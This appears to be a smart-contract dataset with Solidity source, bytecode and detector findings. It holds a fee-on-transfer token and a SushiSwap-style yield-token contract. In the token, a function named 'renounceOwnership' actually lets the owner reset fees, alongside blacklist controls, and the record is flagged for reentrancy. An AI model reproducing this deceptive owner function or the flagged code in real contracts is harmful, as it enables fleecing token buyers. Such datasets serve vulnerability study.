{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function renounceOwnership(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f757806398a5c31511610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b806398a5c3151461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638da5cb5b116100d15780638da5cb5b146104495780638f70ccf7146104675780638f9a55c01461048757806395d89b41146101fe57600080fd5b806374010ece146103e65780637d1db4a5146104065780637f2feddc1461041c57600080fd5b80632fd689e31161016f5780636b9990531161013e5780636b999053146103715780636d8aa8f8146103915780636fc3eaec146103b157806370a08231146103c657600080fd5b80632fd689e3146102ff578063313ce5671461031557806340eed21d1461033157806349bd5a5e1461035157600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632ded3227146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b5060408051808201825260078152660a6c2c4c4c2e8d60cb1b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50678ac7230489e800005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506101fc6106e7565b34801561030b57600080fd5b506102bc60185481565b34801561032157600080fd5b5060405160098152602001610234565b34801561033d57600080fd5b506101fc61034c366004611ab3565b61075b565b34801561035d57600080fd5b5060155461028d906001600160a01b031681565b34801561037d57600080fd5b506101fc61038c366004611ae5565b610799565b34801561039d57600080fd5b506101fc6103ac366004611b12565b6107e4565b3480156103bd57600080fd5b506101fc61082c565b3480156103d257600080fd5b506102bc6103e1366004611ae5565b610877565b3480156103f257600080fd5b506101fc610401366004611b2d565b610899565b34801561041257600080fd5b506102bc60165481565b34801561042857600080fd5b506102bc610437366004611ae5565b60116020526000908152604090205481565b34801561045557600080fd5b506000546001600160a01b031661028d565b34801561047357600080fd5b506101fc610482366004611b12565b6108c8565b34801561049357600080fd5b506102bc60175481565b3480156104a957600080fd5b506101fc6104b8366004611b2d565b610910565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ae5565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611b2d565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ae5565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016105f290611c03565b600893909355600a91909155600955600b55565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061086157506013546001600160a01b0316336001600160a01b0316145b61086a57600080fd5b47610874816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b600061099530610877565b9050610874816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f7984610877565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe730610877565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b0389166000908152600260205260409020556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061160e828261148c565b82101561162a57505060065492678ac7230489e8000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087457600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b60008060008060808587031215611ac957600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611af757600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611b2457600080fd5b6112ab82611b02565b600060208284031215611b3f57600080fd5b5035919050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611b02565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044571a8c985e31b16029a7bca8999fa4954804c44f13d4681dd2d44c3e0fa5eb64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,705 |
0x8d51fe38d3e1ffaeb416189ba83cc74e91fd5cf9
|
// Sources flattened with hardhat v2.0.6 https://hardhat.org
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// File contracts/uniswapv2/libraries/TransferHelper.sol
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File contracts/uniswapv2/libraries/SafeMath.sol
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File contracts/uniswapv2/interfaces/IUniswapV2ERC20.sol
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File contracts/uniswapv2/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/SushiYieldToken.sol
contract SushiYieldToken {
using SafeMathUniswap for uint256;
using TransferHelper for address;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Mint(address indexed sender, uint256 amount);
event Burn(address indexed sender, uint256 amount, address indexed to);
/**
* @return address of YieldTokenFactory
*/
address public factory;
/**
* @return address of lp token
*/
address public lpToken;
/**
* @return data to be used when `mint`ing/`burn`ing
*/
bytes public data;
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "locked");
unlocked = 0;
_;
unlocked = 1;
}
constructor() public {
factory = msg.sender;
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
function initialize(address _lpToken, bytes memory _data) external {
require(msg.sender == factory, "forbidden");
lpToken = _lpToken;
data = _data;
IUniswapV2Pair pair = IUniswapV2Pair(lpToken);
string memory symbol0 = IUniswapV2ERC20(pair.token0()).symbol();
string memory symbol1 = IUniswapV2ERC20(pair.token1()).symbol();
name = string(abi.encodePacked(symbol0, "-", symbol1, " SushiSwap Yield Token"));
symbol = string(abi.encodePacked(symbol0, "-", symbol1, " SYD"));
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "expired");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "invalid-signature");
_approve(owner, spender, value);
}
function mint(address to) external lock returns (uint256 amount) {
amount = IUniswapV2ERC20(lpToken).balanceOf(address(this));
require(amount > 0, "insufficient-balance");
(bool success,) = factory.delegatecall(abi.encodeWithSignature("deposit(bytes,uint256,address)", data, amount, to));
require(success, "failed-to-deposit");
_mint(to, amount);
emit Mint(msg.sender, amount);
}
function burn(address to) external lock returns (uint256 amount) {
amount = balanceOf[address(this)];
require(amount > 0, "insufficient-balance");
(bool success,) = factory.delegatecall(abi.encodeWithSignature("withdraw(bytes,uint256,address)", data, amount, to));
require(success, "failed-to-withdraw");
_burn(address(this), amount);
emit Burn(msg.sender, amount, to);
}
}
// File contracts/SousChef.sol
interface IYieldTokenFactory {
function getYieldToken(uint256 pid) external view returns (address yieldToken);
}
contract SousChef {
using TransferHelper for address;
using SafeMathUniswap for uint;
event Deposited(address yieldToken, uint256 amount, address to);
event Withdrawn(address yieldToken, uint256 amount, address to);
address public factory;
address public weth;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'expired');
_;
}
constructor(address _yieldTokenFactory) public {
factory = _yieldTokenFactory;
}
function depositMultipleWithPermit(
uint256[] calldata pids,
uint256[] calldata amounts,
address to,
uint256 deadline,
uint8[] calldata v,
bytes32[] calldata r,
bytes32[] calldata s
) external ensure(deadline) {
for (uint256 i = 0; i < pids.length; i++) {
address yieldToken = _getYieldToken(pids[i]);
_depositWithPermit(yieldToken, amounts[i], to, deadline, v[i], r[i], s[i]);
}
}
function depositWithPermit(
uint256 pid,
uint256 amount,
address to,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external ensure(deadline) {
address yieldToken = _getYieldToken(pid);
_depositWithPermit(yieldToken, amount, to, deadline, v, r, s);
}
function _depositWithPermit(
address yieldToken,
uint256 amount,
address to,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal {
address lpToken = SushiYieldToken(yieldToken).lpToken();
_permit(lpToken, amount, deadline, v, r, s);
_deposit(yieldToken, amount, to);
}
function deposit(
uint256 pid,
uint256 amount,
address to
) external {
address yieldToken = _getYieldToken(pid);
_deposit(yieldToken, amount, to);
}
function _deposit(
address yieldToken,
uint256 amount,
address to
) internal {
address lpToken = SushiYieldToken(yieldToken).lpToken();
lpToken.safeTransferFrom(msg.sender, yieldToken, amount);
SushiYieldToken(yieldToken).mint(to);
emit Deposited(yieldToken, amount, to);
}
function withdrawMultipleWithPermit(
uint256[] calldata pids,
uint256[] calldata amounts,
address to,
uint256 deadline,
uint8[] calldata v,
bytes32[] calldata r,
bytes32[] calldata s
) external ensure(deadline) {
for (uint256 i = 0; i < pids.length; i++) {
address yieldToken = _getYieldToken(pids[i]);
_withdrawWithPermit(yieldToken, amounts[i], to, deadline, v[i], r[i], s[i]);
}
}
function withdrawWithPermit(
uint256 pid,
uint256 amount,
address to,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external ensure(deadline) {
address yieldToken = _getYieldToken(pid);
_withdrawWithPermit(yieldToken, amount, to, deadline, v, r, s);
}
function _withdrawWithPermit(
address yieldToken,
uint256 amount,
address to,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_permit(yieldToken, amount, deadline, v, r, s);
_withdraw(yieldToken, amount, to);
}
function withdraw(
uint256 pid,
uint256 amount,
address to
) external {
address yieldToken = _getYieldToken(pid);
_withdraw(yieldToken, amount, to);
}
function _withdraw(
address yieldToken,
uint256 amount,
address to
) internal {
yieldToken.safeTransferFrom(msg.sender, yieldToken, amount);
SushiYieldToken(yieldToken).burn(to);
emit Withdrawn(yieldToken, amount, to);
}
function _getYieldToken(uint256 pid) internal view returns (address) {
address yieldToken = IYieldTokenFactory(factory).getYieldToken(pid);
require(yieldToken != address(0), "invalid-pid");
return yieldToken;
}
function _permit(address token, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) internal {
IUniswapV2ERC20(token).permit(msg.sender, address(this), amount, deadline, v, r, s);
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063a388ff8c1161005b578063a388ff8c14610164578063b3879598146101b1578063c45a015514610374578063d20f10051461037c57610088565b80630ad58d2f1461008d5780632273ee6e146100c15780633fc8cef31461010e5780638dbdbe6d14610132575b600080fd5b6100bf600480360360608110156100a357600080fd5b50803590602081013590604001356001600160a01b031661053f565b005b6100bf600480360360e08110156100d757600080fd5b508035906020810135906001600160a01b036040820135169060608101359060ff6080820135169060a08101359060c0013561055d565b6101166105c4565b604080516001600160a01b039092168252519081900360200190f35b6100bf6004803603606081101561014857600080fd5b50803590602081013590604001356001600160a01b03166105d3565b6100bf600480360360e081101561017a57600080fd5b508035906020810135906001600160a01b036040820135169060608101359060ff6080820135169060a08101359060c001356105eb565b6100bf600480360360e08110156101c757600080fd5b810190602081018135600160201b8111156101e157600080fd5b8201836020820111156101f357600080fd5b803590602001918460208302840111600160201b8311171561021457600080fd5b919390929091602081019035600160201b81111561023157600080fd5b82018360208201111561024357600080fd5b803590602001918460208302840111600160201b8311171561026457600080fd5b919390926001600160a01b03833516926020810135929190606081019060400135600160201b81111561029657600080fd5b8201836020820111156102a857600080fd5b803590602001918460208302840111600160201b831117156102c957600080fd5b919390929091602081019035600160201b8111156102e657600080fd5b8201836020820111156102f857600080fd5b803590602001918460208302840111600160201b8311171561031957600080fd5b919390929091602081019035600160201b81111561033657600080fd5b82018360208201111561034857600080fd5b803590602001918460208302840111600160201b8311171561036957600080fd5b509092509050610647565b610116610724565b6100bf600480360360e081101561039257600080fd5b810190602081018135600160201b8111156103ac57600080fd5b8201836020820111156103be57600080fd5b803590602001918460208302840111600160201b831117156103df57600080fd5b919390929091602081019035600160201b8111156103fc57600080fd5b82018360208201111561040e57600080fd5b803590602001918460208302840111600160201b8311171561042f57600080fd5b919390926001600160a01b03833516926020810135929190606081019060400135600160201b81111561046157600080fd5b82018360208201111561047357600080fd5b803590602001918460208302840111600160201b8311171561049457600080fd5b919390929091602081019035600160201b8111156104b157600080fd5b8201836020820111156104c357600080fd5b803590602001918460208302840111600160201b831117156104e457600080fd5b919390929091602081019035600160201b81111561050157600080fd5b82018360208201111561051357600080fd5b803590602001918460208302840111600160201b8311171561053457600080fd5b509092509050610733565b600061054a846107f4565b90506105578184846108bd565b50505050565b834281101561059d576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b60006105a8896107f4565b90506105b98189898989898961099c565b505050505050505050565b6001546001600160a01b031681565b60006105de846107f4565b9050610557818484610a28565b834281101561062b576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6000610636896107f4565b90506105b981898989898989610b71565b8642811015610687576040805162461bcd60e51b8152602060048201526007602482015266195